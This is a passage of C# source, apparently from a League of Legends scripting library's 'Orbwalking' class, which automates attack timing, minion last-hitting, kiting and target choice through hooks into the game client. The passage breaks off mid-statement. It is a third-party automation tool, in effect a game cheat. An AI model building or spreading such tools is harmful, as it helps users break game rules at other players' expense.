name="target">The target.</param> public delegate void OnAttackEvenH(AttackableUnit unit, AttackableUnit target); /// <summary> /// Delegate OnNonKillableMinionH /// </summary> /// <param name="minion">The minion.</param> public delegate void OnNonKillableMinionH(AttackableUnit minion); /// <summary> /// Delegate OnTargetChangeH /// </summary> /// <param name="oldTarget">The old target.</param> /// <param name="newTarget">The new target.</param> public delegate void OnTargetChangeH(AttackableUnit oldTarget, AttackableUnit newTarget); /// <summary> /// The orbwalking mode. /// </summary> public enum OrbwalkingMode { /// <summary> /// The orbwalker will only last hit minions. /// </summary> LastHit, /// <summary> /// The orbwalker will alternate between last hitting and auto attacking champions. /// </summary> Mixed, /// <summary> /// The orbwalker will clear the lane of minions as fast as possible while attempting to get the last hit. /// </summary> LaneClear, /// <summary> /// The orbwalker will only attack the target. /// </summary> Combo, /// <summary> /// The orbwalker will only last hit minions as late as possible. /// </summary> Freeze, /// <summary> /// The orbwalker will only move. /// </summary> CustomMode, /// <summary> /// The orbwalker does nothing. /// </summary> None } /// <summary> /// Spells that reset the attack timer. /// </summary> private static readonly string[] AttackResets = { "dariusnoxiantacticsonh", "fiorae", "garenq", "gravesmove", "hecarimrapidslash", "jaxempowertwo", "jaycehypercharge", "leonashieldofdaybreak", "luciane", "monkeykingdoubleattack", "mordekaisermaceofspades", "nasusq", "nautiluspiercinggaze", "netherblade", "gangplankqwrapper", "powerfist", "renektonpreexecute", "rengarq", "aspectofthecougar", "shyvanadoubleattack", "sivirw", "takedown", "talonnoxiandiplomacy", "trundletrollsmash", "vaynetumble", "vie", "volibearq", "xenzhaocombotarget", "yorickspectral", "reksaiq", "itemtitanichydracleave", "masochism", "illaoiw", "elisespiderw", "fiorae", "meditate", "sejuaninorthernwinds", "asheq" }; /// <summary> /// Spells that are not attacks even if they have the "attack" word in their name. /// </summary> private static readonly string[] NoAttacks = { "volleyattack", "volleyattackwithsound", "jarvanivcataclysmattack", "monkeykingdoubleattack", "shyvanadoubleattack", "shyvanadoubleattackdragon", "zyragraspingplantattack", "zyragraspingplantattack2", "zyragraspingplantattackfire", "zyragraspingplantattack2fire", "viktorpowertransfer", "sivirwattackbounce", "asheqattacknoonhit", "elisespiderlingbasicattack", "heimertyellowbasicattack", "heimertyellowbasicattack2", "heimertbluebasicattack", "annietibbersbasicattack", "annietibbersbasicattack2", "yorickdecayedghoulbasicattack", "yorickravenousghoulbasicattack", "yorickspectralghoulbasicattack", "malzaharvoidlingbasicattack", "malzaharvoidlingbasicattack2", "malzaharvoidlingbasicattack3", "kindredwolfbasicattack" }; /// <summary> /// Spells that are attacks even if they dont have the "attack" word in their name. /// </summary> private static readonly string[] Attacks = { "caitlynheadshotmissile", "frostarrow", "garenslash2", "kennenmegaproc", "masteryidoublestrike", "quinnwenhanced", "renektonexecute", "renektonsuperexecute", "rengarnewpassivebuffdash", "trundleq", "xenzhaothrust", "xenzhaothrust2", "xenzhaothrust3", "viktorqbuff", "lucianpassiveshot" }; /// <summary> /// Champs whose auto attacks can't be cancelled /// </summary> private static readonly string[] NoCancelChamps = { "Kalista" }; /// <summary> /// The last auto attack tick /// </summary> public static int LastAATick; /// <summary> /// <c>true</c> if the orbwalker will attack. /// </summary> public static bool Attack = true; /// <summary> /// <c>true</c> if the orbwalker will skip the next attack. /// </summary> public static bool DisableNextAttack; /// <summary> /// <c>true</c> if the orbwalker will move. /// </summary> public static bool Move = true; /// <summary> /// The tick the most recent attack command was sent. /// </summary> public static int LastAttackCommandT; /// <summary> /// The tick the most recent move command was sent. /// </summary> public static int LastMoveCommandT; /// <summary> /// The last move command position /// </summary> public static Vector3 LastMoveCommandPosition = Vector3.Zero; /// <summary> /// The last target /// </summary> private static AttackableUnit _lastTarget; /// <summary> /// The player /// </summary> private static readonly Obj_AI_Hero Player; /// <summary> /// The delay /// </summary> private static int _delay; /// <summary> /// The minimum distance /// </summary> private static float _minDistance = 400; /// <summary> /// <c>true</c> if the auto attack missile was launched from the player. /// </summary> private static bool _missileLaunched; /// <summary> /// The champion name /// </summary> private static readonly string _championName; /// <summary> /// The random /// </summary> private static readonly Random _random = new Random(DateTime.Now.Millisecond); private static int _autoattackCounter; /// <summary> /// Initializes static members of the <see cref="Orbwalking" /> class. /// </summary> static Orbwalking() { Player = ObjectManager.Player; _championName = Player.ChampionName; Obj_AI_Base.OnProcessSpellCast += OnProcessSpell; Obj_AI_Base.OnDoCast += Obj_AI_Base_OnDoCast; Spellbook.OnStopCast += SpellbookOnStopCast; if (_championName == "Rengar") { Obj_AI_Base.OnPlayAnimation += delegate (Obj_AI_Base sender, GameObjectPlayAnimationEventArgs args) { if (sender.IsMe && args.Animation == "Spell5") { var t = 0; if (_lastTarget != null && _lastTarget.IsValid) { t += (int)Math.Min(ObjectManager.Player.Distance(_lastTarget) / 1.5f, 0.6f); } LastAATick = Utils.GameTimeTickCount - Game.Ping / 2 + t; } }; } } /// <summary> /// This event is fired before the player auto attacks. /// </summary> public static event BeforeAttackEvenH BeforeAttack; /// <summary> /// This event is fired when a unit is about to auto-attack another unit. /// </summary> public static event OnAttackEvenH OnAttack; /// <summary> /// This event is fired after a unit finishes auto-attacking another unit (Only works with player for now). /// </summary> public static event AfterAttackEvenH AfterAttack; /// <summary> /// Gets called on target changes /// </summary> public static event OnTargetChangeH OnTargetChange; /// <summary> /// Occurs when a minion is not killable by an auto attack. /// </summary> public static event OnNonKillableMinionH OnNonKillableMinion; /// <summary> /// Fires the before attack event. /// </summary> /// <param name="target">The target.</param> private static void FireBeforeAttack(AttackableUnit target) { if (BeforeAttack != null) { BeforeAttack(new BeforeAttackEventArgs { Target = target }); } else { DisableNextAttack = false; } } /// <summary> /// Fires the on attack event. /// </summary> /// <param name="unit">The unit.</param> /// <param name="target">The target.</param> private static void FireOnAttack(AttackableUnit unit, AttackableUnit target) { if (OnAttack != null) { OnAttack(unit, target); } } /// <summary> /// Fires the after attack event. /// </summary> /// <param name="unit">The unit.</param> /// <param name="target">The target.</param> private static void FireAfterAttack(AttackableUnit unit, AttackableUnit target) { if (AfterAttack != null && target.IsValidTarget()) { AfterAttack(unit, target); } } /// <summary> /// Fires the on target switch event. /// </summary> /// <param name="newTarget">The new target.</param> private static void FireOnTargetSwitch(AttackableUnit newTarget) { if (OnTargetChange != null && (!_lastTarget.IsValidTarget() || _lastTarget != newTarget)) { OnTargetChange(_lastTarget, newTarget); } } /// <summary> /// Fires the on non killable minion event. /// </summary> /// <param name="minion">The minion.</param> private static void FireOnNonKillableMinion(AttackableUnit minion) { if (OnNonKillableMinion != null) { OnNonKillableMinion(minion); } } /// <summary> /// Returns true if the spellname resets the attack timer. /// </summary> /// <param name="name">The name.</param> /// <returns><c>true</c> if the specified name is an auto attack reset; otherwise, <c>false</c>.</returns> public static bool IsAutoAttackReset(string name) { return AttackResets.Contains(name.ToLower()); } /// <summary> /// Returns true if the unit is melee /// </summary> /// <param name="unit">The unit.</param> /// <returns><c>true</c> if the specified unit is melee; otherwise, <c>false</c>.</returns> public static bool IsMelee(this Obj_AI_Base unit) { return unit.CombatType == GameObjectCombatType.Melee; } /// <summary> /// Returns true if the spellname is an auto-attack. /// </summary> /// <param name="name">The name.</param> /// <returns><c>true</c> if the name is an auto attack; otherwise, <c>false</c>.</returns> public static bool IsAutoAttack(string name) { return (name.ToLower().Contains("attack") && !NoAttacks.Contains(name.ToLower())) || Attacks.Contains(name.ToLower()); } /// <summary> /// Returns the auto-attack range of local player with respect to the target. /// </summary> /// <param name="target">The target.</param> /// <returns>System.Single.</returns> public static float GetRealAutoAttackRange(AttackableUnit target) { var result = Player.AttackRange + Player.BoundingRadius; if (target.IsValidTarget()) { var aiBase = target as Obj_AI_Base; if (aiBase != null && Player.ChampionName == "Caitlyn") { if (aiBase.HasBuff("caitlynyordletrapinternal")) { result += 650; } } return result + target.BoundingRadius; } return result; } /// <summary> /// Returns the auto-attack range of the target. /// </summary> /// <param name="target">The target.</param> /// <returns>System.Single.</returns> public static float GetAttackRange(Obj_AI_Hero target) { var result = target.AttackRange + target.BoundingRadius; return result; } /// <summary> /// Returns true if the target is in auto-attack range. /// </summary> /// <param name="target">The target.</param> /// <returns><c>true</c> if XXXX, <c>false</c> otherwise.</returns> public static bool InAutoAttackRange(AttackableUnit target) { if (!target.IsValidTarget()) { return false; } var myRange = GetRealAutoAttackRange(target); return Vector2.DistanceSquared( target is Obj_AI_Base ? ((Obj_AI_Base)target).ServerPosition.To2D() : target.Position.To2D(), Player.ServerPosition.To2D()) <= myRange * myRange; } /// <summary> /// Returns player auto-attack missile speed. /// </summary> /// <returns>System.Single.</returns> public static float GetMyProjectileSpeed() { return IsMelee(Player) || _championName == "Azir" || _championName == "Velkoz" || _championName == "Viktor" && Player.HasBuff("ViktorPowerTransferReturn") ? float.MaxValue : Player.BasicAttack.MissileSpeed; } /// <summary> /// Returns if the player's auto-attack is ready. /// </summary> /// <returns><c>true</c> if this instance can attack; otherwise, <c>false</c>.</returns> public static bool CanAttack() { if (Player.ChampionName == "Graves") { var attackDelay = 1.0740296828d * 1000 * Player.AttackDelay - 716.2381256175d; if (Utils.GameTimeTickCount + Game.Ping / 2 + 25 >= LastAATick + attackDelay && Player.HasBuff("GravesBasicAttackAmmo1")) { return true; } return false; } if (Player.ChampionName == "Jhin") { if (Player.HasBuff("JhinPassiveReload")) { return false; } } if (Player.IsCastingInterruptableSpell()) { return false; } return Utils.GameTimeTickCount + Game.Ping / 2 + 25 >= LastAATick + Player.AttackDelay * 1000; } /// <summary> /// Returns true if moving won't cancel the auto-attack. /// </summary> /// <param name="extraWindup">The extra windup.</param> /// <returns><c>true</c> if this instance can move the specified extra windup; otherwise, <c>false</c>.</returns> public static bool CanMove(float extraWindup, bool disableMissileCheck = false) { if (_missileLaunched && Orbwalker.MissileCheck && !disableMissileCheck) { return true; } var localExtraWindup = 0; if (_championName == "Rengar" && (Player.HasBuff("rengarqbase") || Player.HasBuff("rengarqemp"))) { localExtraWindup = 200; } return NoCancelChamps.Contains(_championName) || (Utils.GameTimeTickCount + Game.Ping / 2 >= LastAATick + Player.AttackCastDelay * 1000 + extraWindup + localExtraWindup); } /// <summary> /// Sets the movement delay. /// </summary> /// <param name="delay">The delay.</param> public static void SetMovementDelay(int delay) { _delay = delay; } /// <summary> /// Sets the minimum orbwalk distance. /// </summary> /// <param name="d">The d.</param> public static void SetMinimumOrbwalkDistance(float d) { _minDistance = d; } /// <summary> /// Gets the last move time. /// </summary> /// <returns>System.Single.</returns> public static float GetLastMoveTime() { return LastMoveCommandT; } /// <summary> /// Gets the last move position. /// </summary> /// <returns>Vector3.</returns> public static Vector3 GetLastMovePosition() { return LastMoveCommandPosition; } /// <summary> /// Moves to the position. /// </summary> /// <param name="position">The position.</param> /// <param name="holdAreaRadius">The hold area radius.</param> /// <param name="overrideTimer">if set to <c>true</c> [override timer].</param> /// <param name="useFixedDistance">if set to <c>true</c> [use fixed distance].</param> /// <param name="randomizeMinDistance">if set to <c>true</c> [randomize minimum distance].</param> public static void MoveTo(Vector3 position, float holdAreaRadius = 0, bool overrideTimer = false, bool useFixedDistance = true, bool randomizeMinDistance = true) { var playerPosition = Player.ServerPosition; if (playerPosition.Distance(position, true) < (holdAreaRadius * holdAreaRadius)) { /* if (Player.Path.Length > 0) { Player.IssueOrder(GameObjectOrder.Stop, playerPosition); LastMoveCommandPosition = playerPosition; LastMoveCommandT = Utils.GameTimeTickCount - 70; } */ return; } var point = position; if (Player.Distance(point, true) < 150 * 150) { point = playerPosition.Extend( position, randomizeMinDistance ? (_random.NextFloat(0.6f, 1) + 0.2f) * _minDistance : _minDistance); } var angle = 0f; var currentPath = Player.GetWaypoints(); if (currentPath.Count > 1 && currentPath.PathLength() > 100) { var movePath = Player.GetPath(point); if (movePath.Length > 1) { var v1 = currentPath[1] - currentPath[0]; var v2 = movePath[1] - movePath[0]; angle = v1.AngleBetween(v2.To2D()); var distance = movePath.Last().To2D().Distance(currentPath.Last(), true); if ((angle < 10 && distance < 500 * 500) || distance < 50 * 50) { return; } } } if (Utils.GameTimeTickCount - LastMoveCommandT < 70 + Math.Min(60, Game.Ping) && !overrideTimer && angle < 60) { return; } if (angle >= 60 && Utils.GameTimeTickCount - LastMoveCommandT < 60) { return; } Player.IssueOrder(GameObjectOrder.MoveTo, point); LastMoveCommandPosition = point; LastMoveCommandT = Utils.GameTimeTickCount; } /// <summary> /// Orbwalks a target while moving to Position. /// </summary> /// <param name="target">The target.</param> /// <param name="position">The position.</param> /// <param name="extraWindup">The extra windup.</param> /// <param name="holdAreaRadius">The hold area radius.</param> /// <param name="useFixedDistance">if set to <c>true</c> [use fixed distance].</param> /// <param name="randomizeMinDistance">if set to <c>true</c> [randomize minimum distance].</param> public static void Orbwalk(AttackableUnit target, Vector3 position, float extraWindup = 90, float holdAreaRadius = 0, bool useFixedDistance = true, bool randomizeMinDistance = true) { if (Utils.GameTimeTickCount - LastAttackCommandT < 70 + Math.Min(60, Game.Ping)) { return; } try { if (target.IsValidTarget() && CanAttack() && Attack) { DisableNextAttack = false; FireBeforeAttack(target); if (!DisableNextAttack) { if (!NoCancelChamps.Contains(_championName)) { _missileLaunched = false; } if (Player.IssueOrder(GameObjectOrder.AttackUnit, target)) { LastAttackCommandT = Utils.GameTimeTickCount; _lastTarget = target; } return; } } if (CanMove(extraWindup) && Move) { if (Orbwalker.LimitAttackSpeed && (Player.AttackDelay < 1 / 2.6f) && _autoattackCounter % 3 != 0 && !CanMove(500, true)) { return; } MoveTo(position, Math.Max(holdAreaRadius, 30), false, useFixedDistance, randomizeMinDistance); } } catch (Exception e) { Console.WriteLine(e.ToString()); } } /// <summary> /// Resets the Auto-Attack timer. /// </summary> public static void ResetAutoAttackTimer() { LastAATick = 0; } /// <summary> /// Fired when the spellbook stops casting a spell. /// </summary> /// <param name="spellbook">The spellbook.</param> /// <param name="args">The <see cref="SpellbookStopCastEventArgs" /> instance containing the event data.</param> private static void SpellbookOnStopCast(Spellbook spellbook, SpellbookStopCastEventArgs args) { if (spellbook.Owner.IsValid && spellbook.Owner.IsMe && args.DestroyMissile && args.StopAnimation) { ResetAutoAttackTimer(); } } /// <summary> /// Fired when an auto attack is fired. /// </summary> /// <param name="sender">The sender.</param> /// <param name="args">The <see cref="GameObjectProcessSpellCastEventArgs" /> instance containing the event data.</param> private static void Obj_AI_Base_OnDoCast(Obj_AI_Base sender, GameObjectProcessSpellCastEventArgs args) { if (sender.IsMe) { var ping = Game.Ping; if (ping <= 30) //First world problems kappa { Utility.DelayAction.Add(30 - ping, () => Obj_AI_Base_OnDoCast_Delayed(sender, args)); return; } Obj_AI_Base_OnDoCast_Delayed(sender, args); } } /// <summary> /// Fired 30ms after an auto attack is launched. /// </summary> /// <param name="sender">The sender.</param> /// <param name="args">The <see cref="GameObjectProcessSpellCastEventArgs" /> instance containing the event data.</param> private static void Obj_AI_Base_OnDoCast_Delayed(Obj_AI_Base sender, GameObjectProcessSpellCastEventArgs args) { if (IsAutoAttackReset(args.SData.Name)) { ResetAutoAttackTimer(); } if (IsAutoAttack(args.SData.Name)) { FireAfterAttack(sender, args.Target as AttackableUnit); _missileLaunched = true; } } /// <summary> /// Handles the <see cref="E:ProcessSpell" /> event. /// </summary> /// <param name="unit">The unit.</param> /// <param name="Spell">The <see cref="GameObjectProcessSpellCastEventArgs" /> instance containing the event data.</param> private static void OnProcessSpell(Obj_AI_Base unit, GameObjectProcessSpellCastEventArgs Spell) { try { var spellName = Spell.SData.Name; if (unit.IsMe && IsAutoAttackReset(spellName) && Spell.SData.SpellCastTime == 0) { ResetAutoAttackTimer(); } if (!IsAutoAttack(spellName)) { return; } if (unit.IsMe && (Spell.Target is Obj_AI_Base || Spell.Target is Obj_BarracksDampener || Spell.Target is Obj_HQ)) { LastAATick = Utils.GameTimeTickCount - Game.Ping / 2; _missileLaunched = false; LastMoveCommandT = 0; _autoattackCounter++; if (Spell.Target is Obj_AI_Base) { var target = (Obj_AI_Base)Spell.Target; if (target.IsValid) { FireOnTargetSwitch(target); _lastTarget = target; } } } FireOnAttack(unit, _lastTarget); } catch (Exception e) { Console.WriteLine(e); } } /// <summary> /// The before attack event arguments. /// </summary> public class BeforeAttackEventArgs : EventArgs { /// <summary> /// <c>true</c> if the orbwalker should continue with the attack. /// </summary> private bool _process = true; /// <summary> /// The target /// </summary> public AttackableUnit Target; /// <summary> /// The unit /// </summary> public Obj_AI_Base Unit = ObjectManager.Player; /// <summary> /// Gets or sets a value indicating whether this <see cref="BeforeAttackEventArgs" /> should continue with the attack. /// </summary> /// <value><c>true</c> if the orbwalker should continue with the attack; otherwise, <c>false</c>.</value> public bool Process { get { return _process; } set { DisableNextAttack = !value; _process = value; } } } /// <summary> /// This class allows you to add an instance of "Orbwalker" to your assembly in order to control the orbwalking in an /// easy way. /// </summary> public class Orbwalker : IDisposable { /// <summary> /// The lane clear wait time modifier. /// </summary> private const float LaneClearWaitTimeMod = 2f; /// <summary> /// The configuration /// </summary> private static Menu _config; /// <summary> /// The instances of the orbwalker. /// </summary> public static List<Orbwalker> Instances = new List<Orbwalker>(); /// <summary> /// The player /// </summary> private readonly Obj_AI_Hero Player; /// <summary> /// The forced target /// </summary> private Obj_AI_Base _forcedTarget; /// <summary> /// The orbalker mode /// </summary> private OrbwalkingMode _mode = OrbwalkingMode.None; /// <summary> /// The orbwalking point /// </summary> private Vector3 _orbwalkingPoint; /// <summary> /// The previous minion the orbwalker was targeting. /// </summary> private Obj_AI_Minion _prevMinion; /// <summary> /// The name of the CustomMode if it is set. /// </summary> private string CustomModeName; /// <summary> /// Initializes a new instance of the <see cref="Orbwalker" /> class. /// </summary> /// <param name="attachToMenu">The menu the orbwalker should attach to.</param> public Orbwalker(Menu attachToMenu) { _config = attachToMenu; /* Drawings submenu */ var drawings = new Menu("Drawings", "drawings"); drawings.AddItem( new MenuItem("AACircle", "AACircle").SetShared() .SetValue(new Circle(true, Color.FromArgb(155, 255, 255, 0)))); drawings.AddItem( new MenuItem("AACircle2", "Enemy AA circle").SetShared() .SetValue(new Circle(false, Color.FromArgb(155, 255, 255, 0)))); drawings.AddItem( new MenuItem("HoldZone", "HoldZone").SetShared() .SetValue(new Circle(false, Color.FromArgb(155, 255, 255, 0)))); drawings.AddItem(new MenuItem("AALineWidth", "Line Width")).SetShared().SetValue(new Slider(2, 1, 6)); drawings.AddItem(new MenuItem("LastHitHelper", "Last Hit Helper").SetShared().SetValue(false)); _config.AddSubMenu(drawings); /* Misc options */ var misc = new Menu("Misc", "Misc"); misc.AddItem( new MenuItem("HoldPosRadius", "Hold Position Radius").SetShared().SetValue(new Slider(50, 50, 250))); misc.AddItem(new MenuItem("PriorizeFarm", "Priorize farm over harass").SetShared().SetValue(true)); misc.AddItem(new MenuItem("AttackWards", "Auto attack wards").SetShared().SetValue(false)); misc.AddItem(new MenuItem("AttackPetsnTraps", "Auto attack pets & traps").SetShared().SetValue(true)); misc.AddItem(new MenuItem("AttackGPBarrel", "Auto attack gangplank barrel").SetShared().SetValue(new StringList(new[] { "Combo and Farming", "Farming", "No" }, 1))); misc.AddItem(new MenuItem("Smallminionsprio", "Jungle clear small first").SetShared().SetValue(false)); misc.AddItem( new MenuItem("LimitAttackSpeed", "Don't kite if Attack Speed > 2.5").SetShared().SetValue(false)); misc.AddItem( new MenuItem("FocusMinionsOverTurrets", "Focus minions over objectives").SetShared() .SetValue(new KeyBind('M', KeyBindType.Toggle))); _config.AddSubMenu(misc); /* Missile check */ _config.AddItem(new MenuItem("MissileCheck", "Use Missile Check").SetShared().SetValue(true)); /* Delay sliders */ _config.AddItem( new MenuItem("ExtraWindup", "Extra windup time").SetShared().SetValue(new Slider(80, 0, 200))); _config.AddItem(new MenuItem("FarmDelay", "Farm delay").SetShared().SetValue(new Slider(0, 0, 200))); /*Load the menu*/ _config.AddItem( new MenuItem("LastHit", "Last hit").SetShared().SetValue(new KeyBind('X', KeyBindType.Press))); _config.AddItem(new MenuItem("Farm", "Mixed").SetShared().SetValue(new KeyBind('C', KeyBindType.Press))); _config.AddItem( new MenuItem("Freeze", "Freeze").SetShared().SetValue(new KeyBind('N', KeyBindType.Press))); _config.AddItem( new MenuItem("LaneClear", "LaneClear").SetShared().SetValue(new KeyBind('V', KeyBindType.Press))); _config.AddItem( new MenuItem("Orbwalk", "Combo").SetShared().SetValue(new KeyBind(32, KeyBindType.Press))); _config.AddItem( new MenuItem("StillCombo", "Combo without moving").SetShared() .SetValue(new KeyBind('N', KeyBindType.Press))); _config.Item("StillCombo").ValueChanged += (sender, args) => { Move = !args.GetNewValue<KeyBind>().Active; }; this.Player = ObjectManager.Player; Game.OnUpdate += this.GameOnOnGameUpdate; Drawing.OnDraw += this.DrawingOnOnDraw; Instances.Add(this); } /// <summary> /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// </summary> public void Dispose() { Menu.Remove(_config); Game.OnUpdate -= this.GameOnOnGameUpdate; Drawing.OnDraw -= this.DrawingOnOnDraw; Instances.Remove(this); } /// <summary> /// Gets the farm delay. /// </summary> /// <value>The farm delay.</value> private int FarmDelay { get { return _config.Item("FarmDelay").GetValue<Slider>().Value; } } /// <summary> /// Gets a value indicating whether the orbwalker is orbwalking by checking the missiles. /// </summary> /// <value><c>true</c> if the orbwalker is orbwalking by checking the missiles; otherwise, <c>false</c>.</value> public static bool MissileCheck { get { return _config.Item("MissileCheck").GetValue<bool>(); } } public static bool LimitAttackSpeed { get { return _config.Item("LimitAttackSpeed").GetValue<bool>(); } } /// <summary> /// Gets or sets the active mode. /// </summary> /// <value>The active mode.</value> public OrbwalkingMode ActiveMode { get { if (_mode != OrbwalkingMode.None) { return _mode; } if (_config.Item("Orbwalk").GetValue<KeyBind>().Active) { return OrbwalkingMode.Combo; } if (_config.Item("StillCombo").GetValue<KeyBind>().Active) { return OrbwalkingMode.Combo; } if (_config.Item("LaneClear").GetValue<KeyBind>().Active) { return OrbwalkingMode.LaneClear; } if (_config.Item("Farm").GetValue<KeyBind>().Active) { return OrbwalkingMode.Mixed; } if (_config.Item("Freeze").GetValue<KeyBind>().Active) { return OrbwalkingMode.Freeze; } if (_config.Item("LastHit").GetValue<KeyBind>().Active) { return OrbwalkingMode.LastHit; } if (_config.Item(CustomModeName) != null && _config.Item(CustomModeName).GetValue<KeyBind>().Active) { return OrbwalkingMode.CustomMode; } return OrbwalkingMode.None; } set { _mode = value; } } /// <summary> /// Determines if a target is in auto attack range. /// </summary> /// <param name="target">The target.</param> /// <returns><c>true</c> if a target is in auto attack range, <c>false</c> otherwise.</returns> public virtual bool InAutoAttackRange(AttackableUnit target) { return Orbwalking.InAutoAttackRange(target); } /// <summary> /// Registers the Custom Mode of the Orbwalker. Useful for adding a flee mode and such. /// </summary> /// <param name="name">The name of the mode Ex. "Myassembly.FleeMode" </param> /// <param name="displayname">The name of the mode in the menu. Ex. Flee</param> /// <param name="key">The default key for this mode.</param> public virtual void RegisterCustomMode(string name, string displayname, uint key) { CustomModeName = name; if (_config.Item(name) == null) { _config.AddItem( new MenuItem(name, displayname).SetShared().SetValue(new KeyBind(key, KeyBindType.Press))); } } /// <summary> /// Enables or disables the auto-attacks. /// </summary> /// <param name="b">if set to <c>true</c> the orbwalker will attack units.</param> public void SetAttack(bool b) { Attack = b; } /// <summary> /// Enables or disables the movement. /// </summary> /// <param name="b">if set to <c>true</c> the orbwalker will move.</param> public void SetMovement(bool b) { Move = b; } /// <summary> /// Forces the orbwalker to attack the set target if valid and in range. /// </summary> /// <param name="target">The target.</param> public void ForceTarget(Obj_AI_Base target) { _forcedTarget = target; } /// <summary> /// Forces the orbwalker to move to that point while orbwalking (Game.CursorPos by default). /// </summary> /// <param name="point">The point.</param> public void SetOrbwalkingPoint(Vector3 point) { _orbwalkingPoint = point; } /// <summary> /// Determines if the orbwalker should wait before attacking a minion. /// </summary> /// <returns><c>true</c> if the orbwalker should wait before attacking a minion, <c>false</c> otherwise.</returns> public bool ShouldWait() { return ObjectManager.Get<Obj_AI_Minion>() .Any( minion => minion.IsValidTarget() && minion.Team != GameObjectTeam.Neutral && InAutoAttackRange(minion) && MinionManager.IsMinion(minion, false) && HealthPrediction.LaneClearHealthPrediction( minion, (int)(Player.AttackDelay * 1000 * LaneClearWaitTimeMod), FarmDelay) <= Player.GetAutoAttackDamage(minion)); } private bool ShouldWaitUnderTurret(Obj_AI_Minion noneKillableMinion) { return ObjectManager.Get<Obj_AI_Minion>() .Any( minion => (noneKillableMinion != null ? noneKillableMinion.NetworkId != minion.NetworkId : true) && minion.IsValidTarget() && minion.Team != GameObjectTeam.Neutral && InAutoAttackRange(minion) && MinionManager.IsMinion(minion, false) && HealthPrediction.LaneClearHealthPrediction( minion, (int) (Player.AttackDelay * 1000 + (Player.IsMelee ? Player.AttackCastDelay * 1000 : Player.AttackCastDelay * 1000 + 1000 * (Player.AttackRange + 2 * Player.BoundingRadius) / Player.BasicAttack.MissileSpeed)), FarmDelay) <= Player.GetAutoAttackDamage(minion)); } /// <summary> /// Gets the target. /// </summary> /// <returns>AttackableUnit.</returns> public virtual AttackableUnit GetTarget() { AttackableUnit result = null; var mode = ActiveMode; if ((mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LaneClear) && !_config.Item("PriorizeFarm").GetValue<bool>()) { var target = TargetSelector.GetTarget(-1, TargetSelector.DamageType.Physical); if (target != null && InAutoAttackRange(target)) { return target; } } //GankPlank barrels var attackGankPlankBarrels = _config.Item("AttackGPBarrel").GetValue<StringList>().SelectedIndex; if (attackGankPlankBarrels != 2 && (attackGankPlankBarrels == 0 || (mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LastHit || mode == OrbwalkingMode.Freeze))) { var enemyGangPlank = HeroManager.Enemies.FirstOrDefault(e => e.ChampionName.Equals("gangplank", StringComparison.InvariantCultureIgnoreCase)); if (enemyGangPlank != null) { var barrels = ObjectManager.Get<Obj_AI_Minion>() .Where(minion => minion.Team == GameObjectTeam.Neutral && minion.CharData.BaseSkinName == "gangplankbarrel" && minion.IsHPBarRendered && minion.IsValidTarget() && InAutoAttackRange(minion)); foreach (var barrel in barrels) { if (barrel.Health <= 1f) { return barrel; } var t = (int)(Player.AttackCastDelay * 1000) + Game.Ping / 2 + 1000 * (int)Math.Max(0, Player.Distance(barrel) - Player.BoundingRadius) / (int)GetMyProjectileSpeed(); var barrelBuff = barrel.Buffs.FirstOrDefault( b => b.Name.Equals( "gangplankebarrelactive", StringComparison.InvariantCultureIgnoreCase)); if (barrelBuff != null && barrel.Health <= 2f) { var healthDecayRate = enemyGangPlank.Level >= 13 ? 0.5f : (enemyGangPlank.Level >= 7 ? 1f : 2f); var nextHealthDecayTime = Game.Time < barrelBuff.StartTime + healthDecayRate ? barrelBuff.StartTime + healthDecayRate : barrelBuff.StartTime + healthDecayRate * 2; if (nextHealthDecayTime <= Game.Time + t / 1000f) { return barrel; } } } if (barrels.Any()) { return null; } } } /*Killable Minion*/ if (mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LastHit || mode == OrbwalkingMode.Freeze) { var MinionList = ObjectManager.Get<Obj_AI_Minion>() .Where(minion => minion.IsValidTarget() && InAutoAttackRange(minion)) .OrderByDescending(minion => minion.CharData.BaseSkinName.Contains("Siege")) .ThenBy(minion => minion.CharData.BaseSkinName.Contains("Super")) .ThenBy(minion => minion.Health) .ThenByDescending(minion => minion.MaxHealth); foreach (var minion in MinionList) { var t = (int)(Player.AttackCastDelay * 1000) - 100 + Game.Ping / 2 + 1000 * (int)Math.Max(0, Player.Distance(minion) - Player.BoundingRadius) / (int)GetMyProjectileSpeed(); if (mode == OrbwalkingMode.Freeze) { t += 200 + Game.Ping / 2; } var predHealth = HealthPrediction.GetHealthPrediction(minion, t, FarmDelay); if (minion.Team != GameObjectTeam.Neutral && ShouldAttackMinion(minion)) { var damage = Player.GetAutoAttackDamage(minion, true); var killable = predHealth <= damage; if (mode == OrbwalkingMode.Freeze) { if (minion.Health < 50 || predHealth <= 50) { return minion; } } else { if (predHealth <= 0) { FireOnNonKillableMinion(minion); } if (killable) { return minion; } } } } } //Forced target if (_forcedTarget.IsValidTarget() && InAutoAttackRange(_forcedTarget)) { return _forcedTarget; } /* turrets / inhibitors / nexus */ if (mode == OrbwalkingMode.LaneClear && (!_config.Item("FocusMinionsOverTurrets").GetValue<KeyBind>().Active || !MinionManager.GetMinions( ObjectManager.Player.Position, GetRealAutoAttackRange(ObjectManager.Player)).Any())) { /* turrets */ foreach (var turret in ObjectManager.Get<Obj_AI_Turret>().Where(t => t.IsValidTarget() && InAutoAttackRange(t))) { return turret; } /* inhibitor */ foreach (var turret in ObjectManager.Get<Obj_BarracksDampener>().Where(t => t.IsValidTarget() && InAutoAttackRange(t))) { return turret; } /* nexus */ foreach (var nexus in ObjectManager.Get<Obj_HQ>().Where(t => t.IsValidTarget() && InAutoAttackRange(t))) { return nexus; } } /*Champions*/ if (mode != OrbwalkingMode.LastHit) { if (mode != OrbwalkingMode.LaneClear || !ShouldWait()) { var target = TargetSelector.GetTarget(-1, TargetSelector.DamageType.Physical); if (target.IsValidTarget() && InAutoAttackRange(target)) { return target; } } } /*Jungle minions*/ if (mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed) { var jminions = ObjectManager.Get<Obj_AI_Minion>() .Where( mob => mob.IsValidTarget() && mob.Team == GameObjectTeam.Neutral && InAutoAttackRange(mob) && mob.CharData.BaseSkinName != "gangplankbarrel" && mob.Name != "WardCorpse"); result = _config.Item("Smallminionsprio").GetValue<bool>() ? jminions.MinOrDefault(mob => mob.MaxHealth) : jminions.MaxOrDefault(mob => mob.MaxHealth); if (result != null) { return result; } } /* UnderTurret Farming */ if 